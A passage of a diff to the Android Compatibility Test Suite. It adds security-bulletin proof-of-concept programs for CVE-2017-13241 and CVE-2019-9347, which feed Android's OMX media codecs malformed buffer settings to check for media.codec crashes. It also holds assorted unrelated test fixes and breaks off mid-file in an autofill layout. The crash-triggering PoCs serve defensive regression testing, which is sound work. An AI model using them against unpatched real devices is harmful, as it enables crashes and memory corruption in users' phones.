+ OMXBuffer omxBuf(0, outBufferSize);
+ omxUtilsFillBuffer(outBufferId[i], omxBuf, -1);
+ }
+ /* Do OMX State change to Idle */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+ time_t currentTime = time(NULL);
+ time_t waitTimeInSeconds = EMPTY_BUFFER_DONE_CALLBACK_TIMEOUT_SEC;
+ time_t endTime = currentTime + waitTimeInSeconds;
+ while (currentTime < endTime) {
+ if (numCallbackEmptyBufferDone == inBufferCnt) {
+ allCallbacksReceivedEmptyBufferDone = 1;
+ break;
+ }
+ currentTime = time(NULL);
+ }
+ if (!allCallbacksReceivedEmptyBufferDone) {
+ ALOGE("Exiting the app");
+ exit (EXIT_FAILURE);
+ }
+ /* Do OMX State change to Loaded */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateLoaded);
+ /* Free input and output buffers */
+ for (int i = 0; i < inBufferCnt; i++) {
+ omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, inBufferId[i]);
+ }
+ for (int i = 0; i < outBufferCnt; i++) {
+ omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, outBufferId[i]);
+ }
+ /* Free OMX resources */
+ omxUtilsFreeNode();
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13241/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13241/Android.bp
new file mode 100644
index 0000000..37717a2
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13241/Android.bp
@@ -0,0 +1,40 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test {
+ name: "CVE-2017-13241",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_omxutils",
+ ],
+ shared_libs: [
+ "libstagefright",
+ "libbinder",
+ "libmedia_omx",
+ "libutils",
+ "liblog",
+ "libstagefright_foundation",
+ "libcutils",
+ "libhidlbase",
+ "android.hidl.allocator@1.0",
+ "android.hidl.memory@1.0",
+ "android.hardware.media.omx@1.0",
+ ],
+ cflags: [
+ "-Wall",
+ "-Werror",
+ ],
+}
+
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13241/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13241/poc.cpp
new file mode 100644
index 0000000..e7b3eca
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13241/poc.cpp
@@ -0,0 +1,134 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include "../includes/omxUtils.h"
+#define FRAME_WIDTH 2000
+#define FRAME_HEIGHT 2000
+#define FRAME_RATE (30 << 16)
+#define BUFFER_SIZE 12
+#define BUFFER_COUNT 2
+#define EMPTY_BUFFER_DONE_CALLBACK_TIMEOUT_SEC 30
+extern int numCallbackEmptyBufferDone;
+sp<IAllocator> mAllocator = IAllocator::getService("ashmem");
+int allocateHidlPortBuffers(OMX_U32 portIndex, Vector<Buffer> *buffers,
+ int BufferSize) {
+ buffers->clear();
+ OMX_PARAM_PORTDEFINITIONTYPE def;
+ int err = omxUtilsGetParameter(portIndex, &def);
+ omxExitOnError(err);
+ for (OMX_U32 i = 0; i < def.nBufferCountActual; ++i) {
+ Buffer buffer;
+ buffer.mFlags = 0;
+ bool success;
+ auto transStatus = mAllocator->allocate(BufferSize, [&success, &buffer](
+ bool s,
+ hidl_memory const& m) {
+ success = s;
+ buffer.mHidlMemory = m;
+ });
+ omxExitOnError(!transStatus.isOk());
+ omxExitOnError(!success);
+ buffers->push(buffer);
+ }
+ return OK;
+}
+int main() {
+ status_t err;
+ /* Initialize OMX for the specified codec */
+ status_t ret = omxUtilsInit((char *) "OMX.google.h264.encoder");
+ omxExitOnError(ret);
+ int allCallbacksReceivedEmptyBufferDone = 0;
+ /* Get OMX input port parameters */
+ OMX_PARAM_PORTDEFINITIONTYPE *params =
+ (OMX_PARAM_PORTDEFINITIONTYPE *) malloc(
+ sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+ params->nPortIndex = OMX_UTILS_IP_PORT;
+ params->format.video.nFrameWidth = FRAME_WIDTH;
+ params->format.video.nFrameHeight = FRAME_HEIGHT;
+ params->format.video.xFramerate = FRAME_RATE;
+ params->format.video.eCompressionFormat = OMX_VIDEO_CodingUnused;
+ params->format.video.eColorFormat = OMX_COLOR_FormatAndroidOpaque;
+ params->nBufferSize = BUFFER_SIZE;
+ params->nBufferCountActual = params->nBufferCountMin = BUFFER_COUNT;
+ err = omxUtilsSetParameter(OMX_UTILS_IP_PORT, params);
+ memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+ err = omxUtilsGetParameter(OMX_UTILS_IP_PORT, params);
+ /* prepare input port buffers */
+ int inMemSize = params->nBufferCountActual * params->nBufferSize;
+ int inBufferCnt = params->nBufferCountActual;
+ int inBufferSize = inMemSize / inBufferCnt;
+ IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCnt];
+ /* Get OMX output port parameters */
+ omxUtilsGetParameter(OMX_UTILS_OP_PORT, params);
+ /* prepare output port buffers */
+ int outMemSize = params->nBufferCountActual * params->nBufferSize;
+ int outBufferCnt = params->nBufferCountActual;
+ int outBufferSize = outMemSize / outBufferCnt;
+ IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
+ Vector < Buffer > inputBuffers;
+ Vector < Buffer > outputBuffers;
+ /* Register input buffers with OMX component */
+ allocateHidlPortBuffers(OMX_UTILS_IP_PORT, &inputBuffers, inBufferSize);
+ for (int i = 0; i < inBufferCnt; i++) {
+ inBufferId[i] = inputBuffers[i].mID;
+ err = omxUtilsUseBuffer(OMX_UTILS_IP_PORT, inputBuffers[i].mHidlMemory,
+ &inBufferId[i]);
+ }
+ /* Register output buffers with OMX component */
+ allocateHidlPortBuffers(OMX_UTILS_OP_PORT, &outputBuffers, outBufferSize);
+ for (int i = 0; i < outBufferCnt; i++) {
+ outBufferId[i] = outputBuffers[i].mID;
+ err = omxUtilsUseBuffer(OMX_UTILS_OP_PORT, outputBuffers[i].mHidlMemory,
+ &outBufferId[i]);
+ }
+ /* Do OMX State change to Idle */
+ err = omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+ /* Do OMX State change to Executing */
+ err = omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting);
+ for (int i = 0; i < inBufferCnt; i++) {
+ OMXBuffer omxBuf(0, inBufferSize);
+ err = omxUtilsEmptyBuffer(inBufferId[i], omxBuf, 0, 0, -1);
+ }
+ for (int i = 0; i < outBufferCnt; i++) {
+ OMXBuffer omxBuf(0, outBufferSize);
+ err = omxUtilsFillBuffer(outBufferId[i], omxBuf, -1);
+ }
+ /* Do OMX State change to Idle */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+ time_t currentTime = time(NULL);
+ time_t waitTimeInSeconds = EMPTY_BUFFER_DONE_CALLBACK_TIMEOUT_SEC;
+ time_t endTime = currentTime + waitTimeInSeconds;
+ while (currentTime < endTime) {
+ if (numCallbackEmptyBufferDone == inBufferCnt) {
+ allCallbacksReceivedEmptyBufferDone = 1;
+ break;
+ }
+ currentTime = time(NULL);
+ }
+ if (!allCallbacksReceivedEmptyBufferDone) {
+ ALOGE("Exiting the app");
+ exit (EXIT_FAILURE);
+ }
+ /* Free input and output buffers */
+ for (int i = 0; i < inBufferCnt; i++) {
+ omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, inBufferId[i]);
+ }
+ for (int i = 0; i < outBufferCnt; i++) {
+ omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, outBufferId[i]);
+ }
+ /* Free OMX resources */
+ omxUtilsFreeNode();
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9347/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9347/Android.bp
new file mode 100644
index 0000000..7a52d1c
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9347/Android.bp
@@ -0,0 +1,41 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test {
+ name: "CVE-2019-9347",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_omxutils",
+ ],
+ shared_libs: [
+ "libstagefright",
+ "libbinder",
+ "libmedia_omx",
+ "libutils",
+ "liblog",
+ "libstagefright_foundation",
+ "libcutils",
+ "libhidlbase",
+ "android.hidl.allocator@1.0",
+ "android.hidl.memory@1.0",
+ "android.hardware.media.omx@1.0",
+ ],
+ cflags: [
+ "-Wall",
+ "-Werror",
+ ],
+}
+
+
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9347/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9347/poc.cpp
new file mode 100644
index 0000000..dff4d39
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9347/poc.cpp
@@ -0,0 +1,119 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include "../includes/omxUtils.h"
+#define TIMESTAMP_MICROSECONDS 0x00010001
+#define OUT_BUFFER_COUNT 8
+#define EMPTY_BUFFER_DONE_CALLBACK_TIMEOUT_SEC 30
+extern int numCallbackEmptyBufferDone;
+sp<IAllocator> mAllocator = IAllocator::getService("ashmem");
+int allocateHidlPortBuffers(OMX_U32 portIndex, Vector<Buffer> *buffers) {
+ buffers->clear();
+ OMX_PARAM_PORTDEFINITIONTYPE def;
+ int err = omxUtilsGetParameter(portIndex, &def);
+ omxExitOnError(err);
+ for (OMX_U32 i = 0; i < def.nBufferCountActual; ++i) {
+ Buffer buffer;
+ buffer.mFlags = 0;
+ bool success;
+ auto transStatus = mAllocator->allocate(def.nBufferSize,
+ [&success, &buffer](
+ bool s,
+ hidl_memory const& m) {
+ success = s;
+ buffer.mHidlMemory = m;
+ });
+ omxExitOnError(!transStatus.isOk());
+ omxExitOnError(!success);
+ omxUtilsUseBuffer(portIndex, buffer.mHidlMemory, &buffer.mID);
+ buffers->push(buffer);
+ }
+ return OK;
+}
+int main() {
+ /* Initialize OMX for the specified codec */
+ status_t ret = omxUtilsInit((char *) "OMX.google.h263.decoder");
+ omxExitOnError(ret);
+ int allCallbacksReceivedEmptyBufferDone = 0;
+ /* Get OMX input port parameters */
+ OMX_PARAM_PORTDEFINITIONTYPE *params =
+ (OMX_PARAM_PORTDEFINITIONTYPE *) malloc(
+ sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+ memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+ omxUtilsGetParameter(OMX_UTILS_IP_PORT, params);
+ /* Prepare input port buffers */
+ int inBufferCnt = params->nBufferCountActual;
+ IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCnt];
+ /* Get OMX output port parameters */
+ memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+ omxUtilsGetParameter(OMX_UTILS_OP_PORT, params);
+ params->nBufferCountActual = OUT_BUFFER_COUNT;
+ omxUtilsSetParameter(OMX_UTILS_OP_PORT, params);
+ /* Prepare output port buffers */
+ int outBufferCnt = params->nBufferCountActual;
+ IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
+ Vector<Buffer> inputBuffers, outputBuffers;
+ /* Register input buffers with OMX component */
+ allocateHidlPortBuffers(OMX_UTILS_IP_PORT, &inputBuffers);
+ for (int i = 0; i < inBufferCnt; i++) {
+ inBufferId[i] = inputBuffers[i].mID;
+ }
+ /* Register output buffers with OMX component */
+ allocateHidlPortBuffers(OMX_UTILS_OP_PORT, &outputBuffers);
+ for (int i = 0; i < outBufferCnt; i++) {
+ outBufferId[i] = outputBuffers[i].mID;
+ }
+ /* Do OMX State change to Idle */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+ /* Do OMX State change to Executing */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting);
+ OMX_U32 flags = OMX_BUFFERFLAG_EOS;
+ int64_t timeUs = TIMESTAMP_MICROSECONDS;
+ for (int i = 0; i < inBufferCnt; i++) {
+ omxUtilsEmptyBuffer(inBufferId[i], OMXBuffer::sPreset, flags, timeUs,
+ -1);
+ }
+ for (int i = 0; i < outBufferCnt; i++) {
+ omxUtilsFillBuffer(outBufferId[i], OMXBuffer::sPreset, -1);
+ }
+ /* Do OMX State change to Idle */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+ time_t currentTime = time(NULL);
+ time_t waitTimeInSeconds = EMPTY_BUFFER_DONE_CALLBACK_TIMEOUT_SEC;
+ time_t endTime = currentTime + waitTimeInSeconds;
+ while (currentTime < endTime) {
+ if (numCallbackEmptyBufferDone == inBufferCnt) {
+ allCallbacksReceivedEmptyBufferDone = 1;
+ break;
+ }
+ currentTime = time(NULL);
+ }
+ if (!allCallbacksReceivedEmptyBufferDone) {
+ ALOGE("Exiting the app");
+ exit (EXIT_FAILURE);
+ }
+ /* Do OMX State change to Loaded */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateLoaded);
+ /* Free input and output buffers */
+ for (int i = 0; i < inBufferCnt; i++) {
+ omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, inBufferId[i]);
+ }
+ for (int i = 0; i < outBufferCnt; i++) {
+ omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, outBufferId[i]);
+ }
+ /* Free OMX resources */
+ omxUtilsFreeNode();
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
index 5d66a8a..a43163a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
@@ -41,6 +41,30 @@
******************************************************************************/
/**
+ * b/62948670
+ * Vulnerability Behaviour: SIGSEGV in media.codec
+ */
+ @SecurityTest(minPatchLevel = "2017-11")
+ @Test
+ public void testPocCVE_2017_0840() throws Exception {
+ String processPatternStrings[] = {"media\\.codec", "omx@\\d+?\\.\\d+?-service"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-0840", null, getDevice(),
+ processPatternStrings);
+ }
+
+ /**
+ * b/69065651
+ * Vulnerability Behaviour: SIGSEGV in media.codec
+ */
+ @SecurityTest(minPatchLevel = "2018-02")
+ @Test
+ public void testPocCVE_2017_13241() throws Exception {
+ String processPatternStrings[] = {"media\\.codec", "omx@\\d+?\\.\\d+?-service"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-13241", null, getDevice(),
+ processPatternStrings);
+ }
+
+ /**
* b/111603051
* Vulnerability Behaviour: SIGSEGV in self
*/
@@ -61,7 +85,6 @@
}
/**
- * CTS test for Android Security b/79662501
* b/36554207
* Vulnerability Behaviour: SIGSEGV in self
**/
@@ -127,4 +150,16 @@
* To prevent merge conflicts, add tests for Q below this comment, before any
* existing test methods
******************************************************************************/
+
+ /**
+ * b/109891727
+ * Vulnerability Behaviour: SIGSEGV in media.codec
+ */
+ @SecurityTest(minPatchLevel = "2019-09")
+ @Test
+ public void testPocCVE_2019_9347() throws Exception {
+ String processPatternStrings[] = {"media\\.codec", "omx@\\d+?\\.\\d+?-service"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-9347", null, getDevice(),
+ processPatternStrings);
+ }
}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java b/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
index a63306a..88d0f9a 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
@@ -419,6 +419,9 @@
public void testDeviceCalculatedPowerBlameUid() throws Exception {
if (!hasFeature(FEATURE_LEANBACK_ONLY, false)) return;
+ if (!hasBattery()) {
+ return;
+ }
String kernelVersion = getDevice().executeShellCommand("uname -r");
if (kernelVersion.contains("3.18")) {
@@ -1933,7 +1936,7 @@
doTestMobileBytesTransferThat(atomId, (atom) -> {
final AtomsProto.BytesTransferByTagAndMetered data =
((Atom) atom).getBytesTransferByTagAndMetered();
- if (data.getUid() == appUid) {
+ if (data.getUid() == appUid && data.getTag() == 0 /*app traffic generated on tag 0*/) {
assertDataUsageAtomDataExpected(data.getRxBytes(), data.getTxBytes(),
data.getRxPackets(), data.getTxPackets());
return true; // found
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
index 648c963..4166213 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
@@ -863,9 +863,11 @@
final int buttonY = button.getHeight() / 2;
final int hoverY = buttonLocation[1] + buttonY;
final Button buttonWithTooltip = mActivity.findViewById(R.id.buttonWithTooltip);
+ final int[] buttonWithTooltipLocation = new int[2];
+ buttonWithTooltip.getLocationOnScreen(buttonWithTooltipLocation);
final int touchableSize = 48;
- final int hoverRight = buttonWithTooltip.getLeft() + touchableSize / 2;
- final int hoverLeft = button.getRight() + touchableSize / 2;
+ final int hoverRight = buttonWithTooltipLocation[0] + touchableSize / 2;
+ final int hoverLeft = buttonLocation[0] + button.getWidth() + touchableSize / 2;
final int hoverMiddle = (hoverLeft + hoverRight) / 2;
final View.OnHoverListener listener = CtsMouseUtil.installHoverListener(button, false);
enableTouchExploration(sInstrumentation, true);
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java
index 10c7542..66978f5 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java
@@ -116,8 +116,8 @@
StubGestureAccessibilityService mService;
MyTouchListener mMyTouchListener = new MyTouchListener();
TextView mFullScreenTextView;
- int[] mViewLocation = new int[2];
- PointF mStartPoint = new PointF();
+ int[] mViewLocation = new int[2]; // The location of TextView on the screen.
+ PointF mStartPoint = new PointF(); // The relative location from mViewLocation.
boolean mGotUpEvent;
// Without a touch screen, there's no point in testing this feature
boolean mHasTouchScreen;
@@ -147,7 +147,7 @@
final int midY = mFullScreenTextView.getHeight() / 2;
mFullScreenTextView.getLocationOnScreen(mViewLocation);
mFullScreenTextView.setOnTouchListener(mMyTouchListener);
- mStartPoint.set(mViewLocation[0] + midX, mViewLocation[1] + midY);
+ mStartPoint.set(midX, midY);
});
mService = mServiceRule.enableService();
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java
index 5e1e76c..7663cdb 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java
@@ -667,9 +667,9 @@
SparseArray<List<AccessibilityWindowInfo>> allWindows =
sUiAutomation.getWindowsOnAllDisplays();
assertNotNull(allWindows);
- assertTrue(allWindows.size() == 2);
// Gets windows on default display.
+ assertTrue(allWindows.contains(Display.DEFAULT_DISPLAY));
List<AccessibilityWindowInfo> windowsOnDefaultDisplay =
allWindows.get(Display.DEFAULT_DISPLAY);
assertNotNull(windowsOnDefaultDisplay);
@@ -684,6 +684,7 @@
new IsSortedBy<>(w -> w.getLayer(), /* ascending */ false));
// Gets windows on virtual display.
+ assertTrue(allWindows.contains(virtualDisplayId));
List<AccessibilityWindowInfo> windowsOnVirtualDisplay =
allWindows.get(virtualDisplayId);
assertNotNull(windowsOnVirtualDisplay);
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/ActivityLaunchUtils.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/ActivityLaunchUtils.java
index 6885b71..44fd804 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/ActivityLaunchUtils.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/ActivityLaunchUtils.java
@@ -61,6 +61,8 @@
private static final String LOG_TAG = "ActivityLaunchUtils";
private static final String AM_START_HOME_ACTIVITY_COMMAND =
"am start -a android.intent.action.MAIN -c android.intent.category.HOME";
+ private static final String AM_BROADCAST_CLOSE_SYSTEM_DIALOG_COMMAND =
+ "am broadcast -a android.intent.action.CLOSE_SYSTEM_DIALOGS";
// Using a static variable so it can be used in lambdas. Not preserving state in it.
private static Activity mTempActivity;
@@ -134,7 +136,10 @@
try {
executeAndWaitOn(
uiAutomation,
- () -> execShellCommand(uiAutomation, AM_START_HOME_ACTIVITY_COMMAND),
+ () -> {
+ execShellCommand(uiAutomation, AM_START_HOME_ACTIVITY_COMMAND);
+ execShellCommand(uiAutomation, AM_BROADCAST_CLOSE_SYSTEM_DIALOG_COMMAND);
+ },
() -> isHomeScreenShowing(context, uiAutomation),
DEFAULT_TIMEOUT_MS,
"home screen");
diff --git a/tests/app/AppExitTest/src/android/app/cts/ActivityManagerAppExitInfoTest.java b/tests/app/AppExitTest/src/android/app/cts/ActivityManagerAppExitInfoTest.java
index da10600..c3fcf4c 100644
--- a/tests/app/AppExitTest/src/android/app/cts/ActivityManagerAppExitInfoTest.java
+++ b/tests/app/AppExitTest/src/android/app/cts/ActivityManagerAppExitInfoTest.java
@@ -16,6 +16,8 @@
package android.app.cts;
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
import android.app.ActivityManager;
import android.app.ActivityManager.RunningAppProcessInfo;
import android.app.ApplicationExitInfo;
@@ -734,6 +736,60 @@
info.getRss() * 1024, new StringBuilder()));
}
+ // A clone of testPermissionChange using a different revoke api
+ public void testPermissionChangeWithReason() throws Exception {
+ String revokeReason = "test reason";
+ // Remove old records to avoid interference with the test.
+ clearHistoricalExitInfo();
+
+ // Grant the read calendar permission
+ mInstrumentation.getUiAutomation().grantRuntimePermission(
+ STUB_PACKAGE_NAME, android.Manifest.permission.READ_CALENDAR);
+ long now = System.currentTimeMillis();
+
+ // Start a process and do nothing
+ startService(ACTION_FINISH, STUB_SERVICE_NAME, false, false);
+
+ // Enable high frequency memory sampling
+ executeShellCmd("dumpsys procstats --start-testing");
+ // Sleep for a while to wait for the sampling of memory info
+ sleep(10000);
+ // Stop the high frequency memory sampling
+ executeShellCmd("dumpsys procstats --stop-testing");
+ // Get the memory info from it.
+ String dump = executeShellCmd("dumpsys activity processes " + STUB_PACKAGE_NAME);
+ assertNotNull(dump);
+ final String lastPss = extractMemString(dump, " lastPss=", ' ');
+ final String lastRss = extractMemString(dump, " lastRss=", '\n');
+
+ // Revoke the read calendar permission
+ runWithShellPermissionIdentity(() -> {
+ mContext.getPackageManager().revokeRuntimePermission(STUB_PACKAGE_NAME,
+ android.Manifest.permission.READ_CALENDAR, Process.myUserHandle(),
+ revokeReason);
+ });
+ waitForGone(mWatcher);
+ long now2 = System.currentTimeMillis();
+
+ List<ApplicationExitInfo> list = ShellIdentityUtils.invokeMethodWithShellPermissions(
+ STUB_PACKAGE_NAME, mStubPackagePid, 1,
+ mActivityManager::getHistoricalProcessExitReasons,
+ android.Manifest.permission.DUMP);
+
+ assertTrue(list != null && list.size() == 1);
+
+ ApplicationExitInfo info = list.get(0);
+ verify(info, mStubPackagePid, mStubPackageUid, STUB_PACKAGE_NAME,
+ ApplicationExitInfo.REASON_PERMISSION_CHANGE, null, null, now, now2);
+ assertEquals(revokeReason, info.getDescription());
+
+ // Also verify that we get the expected meminfo
+ assertEquals(lastPss, DebugUtils.sizeValueToString(
+ info.getPss() * 1024, new StringBuilder()));
+ assertEquals(lastRss, DebugUtils.sizeValueToString(
+ info.getRss() * 1024, new StringBuilder()));
+ }
+
public void testCrash() throws Exception {
// Remove old records to avoid interference with the test.
clearHistoricalExitInfo();
diff --git a/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java b/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
index b105b92..0de8c47 100644
--- a/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
@@ -1219,15 +1219,6 @@
return true;
}
- // Most types of devices need to support this.
- int mode = mContext.getResources().getConfiguration().uiMode
- & Configuration.UI_MODE_TYPE_MASK;
- if (mode != Configuration.UI_MODE_TYPE_WATCH
- && mode != Configuration.UI_MODE_TYPE_APPLIANCE) {
- // Most devices must support the can't save state feature.
- throw new IllegalStateException("Devices that are not watches or appliances must "
- + "support FEATURE_CANT_SAVE_STATE");
- }
return false;
}
diff --git a/tests/app/src/android/app/cts/NotificationManagerTest.java b/tests/app/src/android/app/cts/NotificationManagerTest.java
index b77809c..b125984 100644
--- a/tests/app/src/android/app/cts/NotificationManagerTest.java
+++ b/tests/app/src/android/app/cts/NotificationManagerTest.java
@@ -2993,7 +2993,8 @@
public void testNotificationManagerBubble_checkActivityFlagsDocumentLaunchMode()
throws Exception {
- if (FeatureUtil.isAutomotive() || FeatureUtil.isTV()) {
+ if (FeatureUtil.isAutomotive() || FeatureUtil.isTV()
+ || mActivityManager.isLowRamDevice()) {
// These do not support bubbles.
return;
}
@@ -3242,7 +3243,8 @@
public void testNotificationManagerBubblePolicy_noFlag_shortcutRemoved()
throws Exception {
- if (FeatureUtil.isAutomotive() || FeatureUtil.isTV()) {
+ if (FeatureUtil.isAutomotive() || FeatureUtil.isTV()
+ || mActivityManager.isLowRamDevice()) {
// These do not support bubbles.
return;
}
@@ -3269,7 +3271,8 @@
}
public void testNotificationManagerBubbleNotificationSuppression() throws Exception {
- if (FeatureUtil.isAutomotive() || FeatureUtil.isTV()) {
+ if (FeatureUtil.isAutomotive() || FeatureUtil.isTV()
+ || mActivityManager.isLowRamDevice()) {
// These do not support bubbles.
return;
}
diff --git a/tests/autofillservice/AndroidManifest.xml b/tests/autofillservice/AndroidManifest.xml
index d4d5459..f690678 100644
--- a/tests/autofillservice/AndroidManifest.xml
+++ b/tests/autofillservice/AndroidManifest.xml
@@ -134,6 +134,7 @@
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
+ <activity android:name=".augmented.AugmentedAuthActivity" />
<activity android:name=".SimpleAfterLoginActivity" />
<activity android:name=".SimpleBeforeLoginActivity" />
<activity android:name=".NonAutofillableActivity" />
diff --git a/tests/autofillservice/res/layout/authentication_activity.xml b/tests/autofillservice/res/layout/authentication_activity.xml
new file mode 100644
index 0000000..23e58e7
--- /dev/null
+++ b/tests/autofillservice/res/layout/authentication_activity.xml
@@ -0,0 +1,44 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:tools="http://schemas.android.com/tools"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:focusable="true"
+ android:focusableInTouchMode="true"
+ android:orientation="vertical" >
+
+ <TextView
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="Authenticate?" />
+
+ <EditText
+ android:id="@+id/password"
